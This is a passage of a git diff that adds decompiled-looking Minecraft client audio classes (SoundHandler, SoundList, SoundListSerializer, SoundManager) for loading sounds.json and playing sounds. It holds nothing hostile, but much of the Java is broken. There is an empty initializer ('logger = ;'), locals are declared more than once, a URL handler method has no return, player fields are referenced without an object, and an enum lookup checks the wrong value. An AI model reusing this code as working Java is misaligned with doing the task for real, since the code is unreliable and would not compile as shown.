+    return cloneEntry1();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/SoundHandler.java b/src/minecraft/net/minecraft/client/audio/SoundHandler.java
new file mode 100644
index 0000000..2c3f280
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/SoundHandler.java
@@ -0,0 +1,337 @@
+package net.minecraft.client.audio;
+
+import com.google.common.collect.Lists;
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.client.resources.IResource;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.IResourceManagerReloadListener;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.io.IOUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class SoundHandler implements IResourceManagerReloadListener, IUpdatePlayerListBox
+{
+  private static final Logger logger = ;
+  private static final Gson field_147699_c = new GsonBuilder().registerTypeAdapter(SoundList.class, new SoundListSerializer()).create();
+  private static final ParameterizedType field_147696_d = new ParameterizedType()
+  {
+    private static final String __OBFID = "CL_00001148";
+    
+    public Type[] getActualTypeArguments() {
+      return new Type[] { String.class, SoundList.class };
+    }
+    
+    public Type getRawType() {
+      return Map.class;
+    }
+    
+    public Type getOwnerType() {
+      return null;
+    }
+  };
+  public static final SoundPoolEntry missing_sound = new SoundPoolEntry(new ResourceLocation("meta:missing_sound"), 0.0D, 0.0D, false);
+  private final SoundRegistry sndRegistry = new SoundRegistry();
+  private final SoundManager sndManager;
+  private final IResourceManager mcResourceManager;
+  private static final String __OBFID = "CL_00001147";
+  
+  public SoundHandler(IResourceManager manager, GameSettings p_i45122_2_)
+  {
+    mcResourceManager = manager;
+    sndManager = new SoundManager(this, p_i45122_2_);
+  }
+  
+  public void onResourceManagerReload(IResourceManager p_110549_1_)
+  {
+    sndManager.reloadSoundSystem();
+    sndRegistry.clearMap();
+    Iterator var2 = p_110549_1_.getResourceDomains().iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      
+      try
+      {
+        List var4 = p_110549_1_.getAllResources(new ResourceLocation(var3, "sounds.json"));
+        Iterator var5 = var4.iterator();
+        
+        while (var5.hasNext())
+        {
+          IResource var6 = (IResource)var5.next();
+          
+          try
+          {
+            Map var7 = getSoundMap(var6.getInputStream());
+            Iterator var8 = var7.entrySet().iterator();
+            
+            while (var8.hasNext())
+            {
+              Map.Entry var9 = (Map.Entry)var8.next();
+              loadSoundResource(new ResourceLocation(var3, (String)var9.getKey()), (SoundList)var9.getValue());
+            }
+          }
+          catch (RuntimeException var10)
+          {
+            logger.warn("Invalid sounds.json", var10);
+          }
+        }
+      }
+      catch (IOException localIOException) {}
+    }
+  }
+  
+
+
+  protected Map getSoundMap(InputStream p_175085_1_)
+  {
+    Map var2;
+    
+
+    try
+    {
+      var2 = (Map)field_147699_c.fromJson(new InputStreamReader(p_175085_1_), field_147696_d);
+    }
+    finally {
+      Map var2;
+      IOUtils.closeQuietly(p_175085_1_);
+    }
+    
+    return var2;
+  }
+  
+  private void loadSoundResource(ResourceLocation p_147693_1_, SoundList p_147693_2_)
+  {
+    boolean var4 = !sndRegistry.containsKey(p_147693_1_);
+    SoundEventAccessorComposite var3;
+    SoundEventAccessorComposite var3;
+    if ((!var4) && (!p_147693_2_.canReplaceExisting()))
+    {
+      var3 = (SoundEventAccessorComposite)sndRegistry.getObject(p_147693_1_);
+    }
+    else
+    {
+      if (!var4)
+      {
+        logger.debug("Replaced sound event location {}", new Object[] { p_147693_1_ });
+      }
+      
+      var3 = new SoundEventAccessorComposite(p_147693_1_, 1.0D, 1.0D, p_147693_2_.getSoundCategory());
+      sndRegistry.registerSound(var3);
+    }
+    
+    Iterator var5 = p_147693_2_.getSoundList().iterator();
+    
+    while (var5.hasNext())
+    {
+      SoundList.SoundEntry var6 = (SoundList.SoundEntry)var5.next();
+      String var7 = var6.getSoundEntryName();
+      ResourceLocation var8 = new ResourceLocation(var7);
+      String var9 = var7.contains(":") ? var8.getResourceDomain() : p_147693_1_.getResourceDomain();
+      Object var10;
+      Object var10;
+      switch (SwitchType.field_148765_a[var6.getSoundEntryType().ordinal()])
+      {
+      case 1: 
+        ResourceLocation var11 = new ResourceLocation(var9, "sounds/" + var8.getResourcePath() + ".ogg");
+        InputStream var12 = null;
+        
+        try
+        {
+          var12 = mcResourceManager.getResource(var11).getInputStream();
+        }
+        catch (FileNotFoundException var18)
+        {
+          logger.warn("File {} does not exist, cannot add it to event {}", new Object[] { var11, p_147693_1_ });
+
+        }
+        catch (IOException var19)
+        {
+          logger.warn("Could not load sound file " + var11 + ", cannot add it to event " + p_147693_1_, var19);
+
+        }
+        finally
+        {
+          IOUtils.closeQuietly(var12);
+        }
+        
+        var10 = new SoundEventAccessor(new SoundPoolEntry(var11, var6.getSoundEntryPitch(), var6.getSoundEntryVolume(), var6.isStreaming()), var6.getSoundEntryWeight());
+        break;
+      
+      case 2: 
+        var10 = new ISoundEventAccessor()
+        {
+          final ResourceLocation field_148726_a;
+          private static final String __OBFID = "CL_00001149";
+          
+          public int getWeight() {
+            SoundEventAccessorComposite var1 = (SoundEventAccessorComposite)sndRegistry.getObject(field_148726_a);
+            return var1 == null ? 0 : var1.getWeight();
+          }
+          
+          public SoundPoolEntry getEntry() {
+            SoundEventAccessorComposite var1 = (SoundEventAccessorComposite)sndRegistry.getObject(field_148726_a);
+            return (SoundPoolEntry)(var1 == null ? SoundHandler.missing_sound : var1.cloneEntry());
+          }
+          
+          public Object cloneEntry() {
+            return getEntry();
+          }
+          
+        };
+        break;
+      default: 
+        throw new IllegalStateException("IN YOU FACE");
+      }
+      Object var10;
+      var3.addSoundToEventPool((ISoundEventAccessor)var10);
+    }
+  }
+  
+  public SoundEventAccessorComposite getSound(ResourceLocation p_147680_1_)
+  {
+    return (SoundEventAccessorComposite)sndRegistry.getObject(p_147680_1_);
+  }
+  
+
+
+
+  public void playSound(ISound p_147682_1_)
+  {
+    sndManager.playSound(p_147682_1_);
+  }
+  
+
+
+
+  public void playDelayedSound(ISound p_147681_1_, int p_147681_2_)
+  {
+    sndManager.playDelayedSound(p_147681_1_, p_147681_2_);
+  }
+  
+  public void setListener(EntityPlayer p_147691_1_, float p_147691_2_)
+  {
+    sndManager.setListener(p_147691_1_, p_147691_2_);
+  }
+  
+  public void pauseSounds()
+  {
+    sndManager.pauseAllSounds();
+  }
+  
+  public void stopSounds()
+  {
+    sndManager.stopAllSounds();
+  }
+  
+  public void unloadSounds()
+  {
+    sndManager.unloadSoundSystem();
+  }
+  
+
+
+
+  public void update()
+  {
+    sndManager.updateAllSounds();
+  }
+  
+  public void resumeSounds()
+  {
+    sndManager.resumeAllSounds();
+  }
+  
+  public void setSoundLevel(SoundCategory p_147684_1_, float volume)
+  {
+    if ((p_147684_1_ == SoundCategory.MASTER) && (volume <= 0.0F))
+    {
+      stopSounds();
+    }
+    
+    sndManager.setSoundCategoryVolume(p_147684_1_, volume);
+  }
+  
+  public void stopSound(ISound p_147683_1_)
+  {
+    sndManager.stopSound(p_147683_1_);
+  }
+  
+
+
+
+  public SoundEventAccessorComposite getRandomSoundFromCategories(SoundCategory... p_147686_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    Iterator var3 = sndRegistry.getKeys().iterator();
+    
+    while (var3.hasNext())
+    {
+      ResourceLocation var4 = (ResourceLocation)var3.next();
+      SoundEventAccessorComposite var5 = (SoundEventAccessorComposite)sndRegistry.getObject(var4);
+      
+      if (org.apache.commons.lang3.ArrayUtils.contains(p_147686_1_, var5.getSoundCategory()))
+      {
+        var2.add(var5);
+      }
+    }
+    
+    if (var2.isEmpty())
+    {
+      return null;
+    }
+    
+
+    return (SoundEventAccessorComposite)var2.get(new Random().nextInt(var2.size()));
+  }
+  
+
+  public boolean isSoundPlaying(ISound p_147692_1_)
+  {
+    return sndManager.isSoundPlaying(p_147692_1_);
+  }
+  
+  static final class SwitchType
+  {
+    static final int[] field_148765_a = new int[SoundList.SoundEntry.Type.values().length];
+    private static final String __OBFID = "CL_00001150";
+    
+    static
+    {
+      try
+      {
+        field_148765_a[SoundList.SoundEntry.Type.FILE.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_148765_a[SoundList.SoundEntry.Type.SOUND_EVENT.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+    }
+    
+    SwitchType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/SoundList.java b/src/minecraft/net/minecraft/client/audio/SoundList.java
new file mode 100644
index 0000000..c86b200
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/SoundList.java
@@ -0,0 +1,151 @@
+package net.minecraft.client.audio;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+
+public class SoundList
+{
+  private final List soundList = Lists.newArrayList();
+  
+  private boolean replaceExisting;
+  
+  private SoundCategory category;
+  private static final String __OBFID = "CL_00001121";
+  
+  public SoundList() {}
+  
+  public List getSoundList()
+  {
+    return soundList;
+  }
+  
+  public boolean canReplaceExisting()
+  {
+    return replaceExisting;
+  }
+  
+  public void setReplaceExisting(boolean p_148572_1_)
+  {
+    replaceExisting = p_148572_1_;
+  }
+  
+  public SoundCategory getSoundCategory()
+  {
+    return category;
+  }
+  
+  public void setSoundCategory(SoundCategory p_148571_1_)
+  {
+    category = p_148571_1_;
+  }
+  
+  public static class SoundEntry
+  {
+    private String name;
+    private float volume = 1.0F;
+    private float pitch = 1.0F;
+    private int field_148565_d = 1;
+    private Type field_148566_e;
+    private boolean field_148564_f;
+    private static final String __OBFID = "CL_00001122";
+    
+    public SoundEntry()
+    {
+      field_148566_e = Type.FILE;
+      field_148564_f = false;
+    }
+    
+    public String getSoundEntryName()
+    {
+      return name;
+    }
+    
+    public void setSoundEntryName(String p_148561_1_)
+    {
+      name = p_148561_1_;
+    }
+    
+    public float getSoundEntryVolume()
+    {
+      return volume;
+    }
+    
+    public void setSoundEntryVolume(float p_148553_1_)
+    {
+      volume = p_148553_1_;
+    }
+    
+    public float getSoundEntryPitch()
+    {
+      return pitch;
+    }
+    
+    public void setSoundEntryPitch(float p_148559_1_)
+    {
+      pitch = p_148559_1_;
+    }
+    
+    public int getSoundEntryWeight()
+    {
+      return field_148565_d;
+    }
+    
+    public void setSoundEntryWeight(int p_148554_1_)
+    {
+      field_148565_d = p_148554_1_;
+    }
+    
+    public Type getSoundEntryType()
+    {
+      return field_148566_e;
+    }
+    
+    public void setSoundEntryType(Type p_148562_1_)
+    {
+      field_148566_e = p_148562_1_;
+    }
+    
+    public boolean isStreaming()
+    {
+      return field_148564_f;
+    }
+    
+    public void setStreaming(boolean p_148557_1_)
+    {
+      field_148564_f = p_148557_1_;
+    }
+    
+    public static enum Type
+    {
+      FILE("FILE", 0, "file"), 
+      SOUND_EVENT("SOUND_EVENT", 1, "event");
+      
+      private final String field_148583_c;
+      private static final Type[] $VALUES = { FILE, SOUND_EVENT };
+      private static final String __OBFID = "CL_00001123";
+      
+      private Type(String p_i45109_1_, int p_i45109_2_, String p_i45109_3_)
+      {
+        field_148583_c = p_i45109_3_;
+      }
+      
+      public static Type getType(String p_148580_0_)
+      {
+        Type[] var1 = values();
+        int var2 = var1.length;
+        
+        for (int var3 = 0; var3 < var2; var3++)
+        {
+          Type var4 = var1[var3];
+          
+          if (field_148583_c.equals(p_148580_0_))
+          {
+            return var4;
+          }
+        }
+        
+        return null;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/SoundListSerializer.java b/src/minecraft/net/minecraft/client/audio/SoundListSerializer.java
new file mode 100644
index 0000000..9b374c8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/SoundListSerializer.java
@@ -0,0 +1,90 @@
+package net.minecraft.client.audio;
+
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import java.lang.reflect.Type;
+import net.minecraft.util.JsonUtils;
+import org.apache.commons.lang3.Validate;
+
+public class SoundListSerializer implements com.google.gson.JsonDeserializer
+{
+  private static final String __OBFID = "CL_00001124";
+  
+  public SoundListSerializer() {}
+  
+  public SoundList deserialize1(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+  {
+    JsonObject var4 = JsonUtils.getElementAsJsonObject(p_deserialize_1_, "entry");
+    SoundList var5 = new SoundList();
+    var5.setReplaceExisting(JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "replace", false));
+    SoundCategory var6 = SoundCategory.func_147154_a(JsonUtils.getJsonObjectStringFieldValueOrDefault(var4, "category", SoundCategory.MASTER.getCategoryName()));
+    var5.setSoundCategory(var6);
+    Validate.notNull(var6, "Invalid category", new Object[0]);
+    
+    if (var4.has("sounds"))
+    {
+      com.google.gson.JsonArray var7 = JsonUtils.getJsonObjectJsonArrayField(var4, "sounds");
+      
+      for (int var8 = 0; var8 < var7.size(); var8++)
+      {
+        JsonElement var9 = var7.get(var8);
+        SoundList.SoundEntry var10 = new SoundList.SoundEntry();
+        
+        if (JsonUtils.jsonElementTypeIsString(var9))
+        {
+          var10.setSoundEntryName(JsonUtils.getJsonElementStringValue(var9, "sound"));
+        }
+        else
+        {
+          JsonObject var11 = JsonUtils.getElementAsJsonObject(var9, "sound");
+          var10.setSoundEntryName(JsonUtils.getJsonObjectStringFieldValue(var11, "name"));
+          
+          if (var11.has("type"))
+          {
+            SoundList.SoundEntry.Type var12 = SoundList.SoundEntry.Type.getType(JsonUtils.getJsonObjectStringFieldValue(var11, "type"));
+            Validate.notNull(var12, "Invalid type", new Object[0]);
+            var10.setSoundEntryType(var12);
+          }
+          
+
+
+          if (var11.has("volume"))
+          {
+            float var13 = JsonUtils.getJsonObjectFloatFieldValue(var11, "volume");
+            Validate.isTrue(var13 > 0.0F, "Invalid volume", new Object[0]);
+            var10.setSoundEntryVolume(var13);
+          }
+          
+          if (var11.has("pitch"))
+          {
+            float var13 = JsonUtils.getJsonObjectFloatFieldValue(var11, "pitch");
+            Validate.isTrue(var13 > 0.0F, "Invalid pitch", new Object[0]);
+            var10.setSoundEntryPitch(var13);
+          }
+          
+          if (var11.has("weight"))
+          {
+            int var14 = JsonUtils.getJsonObjectIntegerFieldValue(var11, "weight");
+            Validate.isTrue(var14 > 0, "Invalid weight", new Object[0]);
+            var10.setSoundEntryWeight(var14);
+          }
+          
+          if (var11.has("stream"))
+          {
+            var10.setStreaming(JsonUtils.getJsonObjectBooleanFieldValue(var11, "stream"));
+          }
+        }
+        
+        var5.getSoundList().add(var10);
+      }
+    }
+    
+    return var5;
+  }
+  
+  public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+  {
+    return deserialize1(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/SoundManager.java b/src/minecraft/net/minecraft/client/audio/SoundManager.java
new file mode 100644
index 0000000..1cce12e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/SoundManager.java
@@ -0,0 +1,628 @@
+package net.minecraft.client.audio;
+
+import com.google.common.collect.BiMap;
+import com.google.common.collect.HashBiMap;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Multimap;
+import io.netty.util.internal.ThreadLocalRandom;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.net.URLStreamHandler;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.UUID;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.apache.logging.log4j.Marker;
+import paulscode.sound.SoundSystem;
+import paulscode.sound.SoundSystemConfig;
+import paulscode.sound.SoundSystemException;
+import paulscode.sound.SoundSystemLogger;
+import paulscode.sound.Source;
+import paulscode.sound.libraries.LibraryLWJGLOpenAL;
+
+public class SoundManager
+{
+  private static final Marker LOG_MARKER = org.apache.logging.log4j.MarkerManager.getMarker("SOUNDS");
+  private static final Logger logger = LogManager.getLogger();
+  
+
+  private final SoundHandler sndHandler;
+  
+
+  private final GameSettings options;
+  
+
+  private SoundSystemStarterThread sndSystem;
+  
+
+  private boolean loaded;
+  
+
+  private int playTime = 0;
+  
+
+
+
+  private final Map playingSounds = HashBiMap.create();
+  
+
+
+  private final Map invPlayingSounds;
+  
+
+
+  private Map playingSoundPoolEntries;
+  
+
+  private final Multimap categorySounds;
+  
+
+  private final List tickableSounds;
+  
+
+  private final Map delayedSounds;
+  
+
+  private final Map playingSoundsStopTime;
+  
+
+  private static final String __OBFID = "CL_00001141";
+  
+
+
+  public SoundManager(SoundHandler p_i45119_1_, GameSettings p_i45119_2_)
+  {
+    invPlayingSounds = ((BiMap)playingSounds).inverse();
+    playingSoundPoolEntries = Maps.newHashMap();
+    categorySounds = com.google.common.collect.HashMultimap.create();
+    tickableSounds = com.google.common.collect.Lists.newArrayList();
+    delayedSounds = Maps.newHashMap();
+    playingSoundsStopTime = Maps.newHashMap();
+    sndHandler = p_i45119_1_;
+    options = p_i45119_2_;
+    
+    try
+    {
+      SoundSystemConfig.addLibrary(LibraryLWJGLOpenAL.class);
+      SoundSystemConfig.setCodec("ogg", paulscode.sound.codecs.CodecJOrbis.class);
+    }
+    catch (SoundSystemException var4)
+    {
+      logger.error(LOG_MARKER, "Error linking with the LibraryJavaSound plug-in", var4);
+    }
+  }
+  
+  public void reloadSoundSystem()
+  {
+    unloadSoundSystem();
+    loadSoundSystem();
+  }
+  
+
+
+
+  private synchronized void loadSoundSystem()
+  {
+    if (!loaded)
+    {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      try
+      {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+        new Thread(new Runnable()
+        {
+          private static final String __OBFID = "CL_00001142";
+          
+          public void run()
+          {
+            SoundSystemConfig.setLogger(new SoundSystemLogger()
+            {
+              private static final String __OBFID = "CL_00002378";
+              
+              public void message(String p_message_1_, int p_message_2_) {
+                if (!p_message_1_.isEmpty())
+                {
+                  SoundManager.logger.info(p_message_1_);
+                }
+              }
+              
+              public void importantMessage(String p_importantMessage_1_, int p_importantMessage_2_) {
+                if (!p_importantMessage_1_.isEmpty())
+                {
+                  SoundManager.logger.warn(p_importantMessage_1_);
+                }
+              }
+              
+              public void errorMessage(String p_errorMessage_1_, String p_errorMessage_2_, int p_errorMessage_3_) {
+                if (!p_errorMessage_2_.isEmpty())
+                {
+                  SoundManager.logger.error("Error in class '" + p_errorMessage_1_ + "'");
+                  SoundManager.logger.error(p_errorMessage_2_);
+                }
+                
+              }
+            }); SoundManager tmp23_20 = SoundManager.this;tmp23_20.getClass();sndSystem = new SoundManager.SoundSystemStarterThread(tmp23_20, null);
+            loaded = true;
+            sndSystem.setMasterVolume(options.getSoundLevel(SoundCategory.MASTER));
+            SoundManager.logger.info(SoundManager.LOG_MARKER, "Sound engine started");
+          }
+        }, "Sound Library Loader").start();
+      }
+      catch (RuntimeException var2)
+      {
+        logger.error(LOG_MARKER, "Error starting SoundSystem. Turning off sounds & music", var2);
+        options.setSoundLevel(SoundCategory.MASTER, 0.0F);
+        options.saveOptions();
+      }
+    }
+  }
+  
+
+
+
+  private float getSoundCategoryVolume(SoundCategory p_148595_1_)
+  {
+    return (p_148595_1_ != null) && (p_148595_1_ != SoundCategory.MASTER) ? options.getSoundLevel(p_148595_1_) : 1.0F;
+  }
+  
+
+
+
+  public void setSoundCategoryVolume(SoundCategory p_148601_1_, float p_148601_2_)
+  {
+    if (loaded)
+    {
+      if (p_148601_1_ == SoundCategory.MASTER)
+      {
+        sndSystem.setMasterVolume(p_148601_2_);
+      }
+      else
+      {
+        Iterator var3 = categorySounds.get(p_148601_1_).iterator();
+        
+        while (var3.hasNext())
+        {
+          String var4 = (String)var3.next();
+          ISound var5 = (ISound)playingSounds.get(var4);
+          float var6 = getNormalizedVolume(var5, (SoundPoolEntry)playingSoundPoolEntries.get(var5), p_148601_1_);
+          
+          if (var6 <= 0.0F)
+          {
+            stopSound(var5);
+          }
+          else
+          {
+            sndSystem.setVolume(var4, var6);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void unloadSoundSystem()
+  {
+    if (loaded)
+    {
+      stopAllSounds();
+      sndSystem.cleanup();
+      loaded = false;
+    }
+  }
+  
+
+
+
+  public void stopAllSounds()
+  {
+    if (loaded)
+    {
+      Iterator var1 = playingSounds.keySet().iterator();
+      
+      while (var1.hasNext())
+      {
+        String var2 = (String)var1.next();
+        sndSystem.stop(var2);
+      }
+      
+      playingSounds.clear();
+      delayedSounds.clear();
+      tickableSounds.clear();
+      categorySounds.clear();
+      playingSoundPoolEntries.clear();
+      playingSoundsStopTime.clear();
+    }
+  }
+  
+  public void updateAllSounds()
+  {
+    playTime += 1;
+    Iterator var1 = tickableSounds.iterator();
+    
+
+    while (var1.hasNext())
+    {
+      ITickableSound var2 = (ITickableSound)var1.next();
+      var2.update();
+      
+      if (var2.isDonePlaying())
+      {
+        stopSound(var2);
+      }
+      else
+      {
+        String var3 = (String)invPlayingSounds.get(var2);
+        sndSystem.setVolume(var3, getNormalizedVolume(var2, (SoundPoolEntry)playingSoundPoolEntries.get(var2), sndHandler.getSound(var2.getSoundLocation()).getSoundCategory()));
+        sndSystem.setPitch(var3, getNormalizedPitch(var2, (SoundPoolEntry)playingSoundPoolEntries.get(var2)));
+        sndSystem.setPosition(var3, var2.getXPosF(), var2.getYPosF(), var2.getZPosF());
+      }
+    }
+    
+    var1 = playingSounds.entrySet().iterator();
+    
+
+    while (var1.hasNext())
+    {
+      Map.Entry var9 = (Map.Entry)var1.next();
+      String var3 = (String)var9.getKey();
+      ISound var4 = (ISound)var9.getValue();
+      
+      if (!sndSystem.playing(var3))
+      {
+        int var5 = ((Integer)playingSoundsStopTime.get(var3)).intValue();
+        
+        if (var5 <= playTime)
+        {
+          int var6 = var4.getRepeatDelay();
+          
+          if ((var4.canRepeat()) && (var6 > 0))
+          {
+            delayedSounds.put(var4, Integer.valueOf(playTime + var6));
+          }
+          
+          var1.remove();
+          logger.debug(LOG_MARKER, "Removed channel {} because it's not playing anymore", new Object[] { var3 });
+          sndSystem.removeSource(var3);
+          playingSoundsStopTime.remove(var3);
+          playingSoundPoolEntries.remove(var4);
+          
+          try
+          {
+            categorySounds.remove(sndHandler.getSound(var4.getSoundLocation()).getSoundCategory(), var3);
+          }
+          catch (RuntimeException localRuntimeException) {}
+          
+
+
+
+          if ((var4 instanceof ITickableSound))
+          {
+            tickableSounds.remove(var4);
+          }
+        }
+      }
+    }
+    
+    Iterator var10 = delayedSounds.entrySet().iterator();
+    
+    while (var10.hasNext())
+    {
+      Map.Entry var11 = (Map.Entry)var10.next();
+      
+      if (playTime >= ((Integer)var11.getValue()).intValue())
+      {
+        ISound var4 = (ISound)var11.getKey();
+        
+        if ((var4 instanceof ITickableSound))
+        {
+          ((ITickableSound)var4).update();
+        }
+        
+        playSound(var4);
+        var10.remove();
+      }
+    }
+  }
+  
+
+
+
+  public boolean isSoundPlaying(ISound p_148597_1_)
+  {
+    if (!loaded)
+    {
+      return false;
+    }
+    
+
+    String var2 = (String)invPlayingSounds.get(p_148597_1_);
+    return var2 != null;
+  }
+  
+
+  public void stopSound(ISound p_148602_1_)
+  {
+    if (loaded)
+    {
+      String var2 = (String)invPlayingSounds.get(p_148602_1_);
+      
+      if (var2 != null)
+      {
+        sndSystem.stop(var2);
+      }
+    }
+  }
+  
+  public void playSound(ISound p_148611_1_)
+  {
+    if (loaded)
+    {
+      if (sndSystem.getMasterVolume() <= 0.0F)
+      {
+        logger.debug(LOG_MARKER, "Skipped playing soundEvent: {}, master volume was zero", new Object[] { p_148611_1_.getSoundLocation() });
+      }
+      else
+      {
+        SoundEventAccessorComposite var2 = sndHandler.getSound(p_148611_1_.getSoundLocation());
+        
+        if (var2 == null)
+        {
+          logger.warn(LOG_MARKER, "Unable to play unknown soundEvent: {}", new Object[] { p_148611_1_.getSoundLocation() });
+        }
+        else
+        {
+          SoundPoolEntry var3 = (SoundPoolEntry)var2.cloneEntry();
+          
+          if (var3 == SoundHandler.missing_sound)
+          {
+            logger.warn(LOG_MARKER, "Unable to play empty soundEvent: {}", new Object[] { var2.getSoundEventLocation() });
+          }
+          else
+          {
+            float var4 = p_148611_1_.getVolume();
+            float var5 = 16.0F;
+            
+            if (var4 > 1.0F)
+            {
+              var5 *= var4;
+            }
+            
+            SoundCategory var6 = var2.getSoundCategory();
+            float var7 = getNormalizedVolume(p_148611_1_, var3, var6);
+            double var8 = getNormalizedPitch(p_148611_1_, var3);
+            ResourceLocation var10 = var3.getSoundPoolEntryLocation();
+            
+            if (var7 == 0.0F)
+            {
+              logger.debug(LOG_MARKER, "Skipped playing sound {}, volume was zero.", new Object[] { var10 });
+            }
+            else
+            {
+              boolean var11 = (p_148611_1_.canRepeat()) && (p_148611_1_.getRepeatDelay() == 0);
+              String var12 = MathHelper.func_180182_a(ThreadLocalRandom.current()).toString();
+              
+              if (var3.isStreamingSound())
+              {
+                sndSystem.newStreamingSource(false, var12, getURLForSoundResource(var10), var10.toString(), var11, p_148611_1_.getXPosF(), p_148611_1_.getYPosF(), p_148611_1_.getZPosF(), p_148611_1_.getAttenuationType().getTypeInt(), var5);
+              }
+              else
+              {
+                sndSystem.newSource(false, var12, getURLForSoundResource(var10), var10.toString(), var11, p_148611_1_.getXPosF(), p_148611_1_.getYPosF(), p_148611_1_.getZPosF(), p_148611_1_.getAttenuationType().getTypeInt(), var5);
+              }
+              
+              logger.debug(LOG_MARKER, "Playing sound {} for event {} as channel {}", new Object[] { var3.getSoundPoolEntryLocation(), var2.getSoundEventLocation(), var12 });
+              sndSystem.setPitch(var12, (float)var8);
+              sndSystem.setVolume(var12, var7);
+              sndSystem.play(var12);
+              playingSoundsStopTime.put(var12, Integer.valueOf(playTime + 20));
+              playingSounds.put(var12, p_148611_1_);
+              playingSoundPoolEntries.put(p_148611_1_, var3);
+              
+              if (var6 != SoundCategory.MASTER)
+              {
+                categorySounds.put(var6, var12);
+              }
+              
+              if ((p_148611_1_ instanceof ITickableSound))
+              {
+                tickableSounds.add((ITickableSound)p_148611_1_);
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  private float getNormalizedPitch(ISound p_148606_1_, SoundPoolEntry p_148606_2_)
+  {
+    return (float)MathHelper.clamp_double(p_148606_1_.getPitch() * p_148606_2_.getPitch(), 0.5D, 2.0D);
+  }
+  
+
+
+
+  private float getNormalizedVolume(ISound p_148594_1_, SoundPoolEntry p_148594_2_, SoundCategory p_148594_3_)
+  {
+    return (float)MathHelper.clamp_double(p_148594_1_.getVolume() * p_148594_2_.getVolume(), 0.0D, 1.0D) * getSoundCategoryVolume(p_148594_3_);
+  }
+  
+
+
+
+  public void pauseAllSounds()
+  {
+    Iterator var1 = playingSounds.keySet().iterator();
+    
+    while (var1.hasNext())
+    {
+      String var2 = (String)var1.next();
+      logger.debug(LOG_MARKER, "Pausing channel {}", new Object[] { var2 });
+      sndSystem.pause(var2);
+    }
+  }
+  
+
+
+
+  public void resumeAllSounds()
+  {
+    Iterator var1 = playingSounds.keySet().iterator();
+    
+    while (var1.hasNext())
+    {
+      String var2 = (String)var1.next();
+      logger.debug(LOG_MARKER, "Resuming channel {}", new Object[] { var2 });
+      sndSystem.play(var2);
+    }
+  }
+  
+
+
+
+  public void playDelayedSound(ISound p_148599_1_, int p_148599_2_)
+  {
+    delayedSounds.put(p_148599_1_, Integer.valueOf(playTime + p_148599_2_));
+  }
+  
+  private static URL getURLForSoundResource(ResourceLocation p_148612_0_)
+  {
+    String var1 = String.format("%s:%s:%s", new Object[] { "mcsounddomain", p_148612_0_.getResourceDomain(), p_148612_0_.getResourcePath() });
+    URLStreamHandler var2 = new URLStreamHandler()
+    {
+      private static final String __OBFID = "CL_00001143";
+      
+      protected URLConnection openConnection(URL p_openConnection_1_) {
+        new URLConnection(p_openConnection_1_) {
+          private static final String __OBFID = "CL_00001144";
+          
+          public void connect() {}
+          
+          public InputStream getInputStream() throws IOException {
+            return Minecraft.getMinecraft().getResourceManager().getResource(val$p_148612_0_).getInputStream();
+          }
+        };
+      }
+    };
+    
+    try
+    {
+      return new URL(null, var1, var2);
+    }
+    catch (MalformedURLException var4)
+    {
+      throw new Error("TODO: Sanely handle url exception! :D");
+    }
+  }
+  
+
+
+
+  public void setListener(EntityPlayer p_148615_1_, float p_148615_2_)
+  {
+    if ((loaded) && (p_148615_1_ != null))
+    {
+      float var3 = prevRotationPitch + (rotationPitch - prevRotationPitch) * p_148615_2_;
+      float var4 = prevRotationYaw + (rotationYaw - prevRotationYaw) * p_148615_2_;
+      double var5 = prevPosX + (posX - prevPosX) * p_148615_2_;
